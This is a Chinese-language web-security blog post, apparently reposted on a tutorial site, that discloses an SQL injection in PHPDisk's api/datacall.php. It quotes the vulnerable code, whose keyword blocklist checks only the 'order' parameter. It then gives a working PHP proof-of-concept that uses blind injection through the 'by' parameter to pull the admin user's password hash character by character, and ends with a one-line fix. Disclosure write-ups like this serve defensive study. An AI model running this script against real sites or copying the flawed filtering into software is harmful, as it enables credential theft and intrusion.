好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

躺在床上读代码之phpdick SQL注射 - 网站安全 - 自学

在phpdisk/api/datacall.php

中有一段代码:

 

$order = trim(gpc('order','G',''));

$by = trim(gpc('by','G',''));

$limit = (int)gpc('limit','G',0);

 

if(!$type || !$order || !$by || !$limit){

echo 'PHPDisk Datacall Parameter is null or Error!';

exit;

}

$filter_arr = array('select','delete','update','insert');

for($i=0;$i<count($filter_arr);$i++){

  if(strpos($order,strtolower($filter_arr[$i]))!==false){

    die('PHPDisk Datacall Parameter Error!');

  }

}

 

if($type=='user'){

echo '<ul>'.LF;

$q = $db->query("select username,userid from {$tpf}users order by $order $by limit $limit");

 

 

$order和$by进入了query查询,看的出来作者想到了可能会有人在order里提交query,但是他没想到在不提交order,在by里提交一样可以注射。

 

漏洞 证明:

 

 

<?php

$file = 'http://localhost/phpdisk/api/datacall.php';

 

for($i=0;$i<32;$i++) {

$path = $i+1;

foreach(array('a','b','c','d','e','f',0,1,2,3,4,5,6,7,8,9) as $w) {

$api = $file.'?type=user&by='.urlencode('(if(((select substring(password,'.$path.',1) from pd_users where userid=1)=0x'.bin2hex($w).'),userid,username))').'&order=/**/&limit=1';

if(strpos(file_get_contents($api),'admin')!==false) {

echo $w;

break;

} www.2cto.com

}

 

}

 

 

?>

修复方案:

只允许a-z的order和by

查看更多关于躺在床上读代码之phpdick SQL注射 - 网站安全 - 自学的详细内容...

  阅读:38次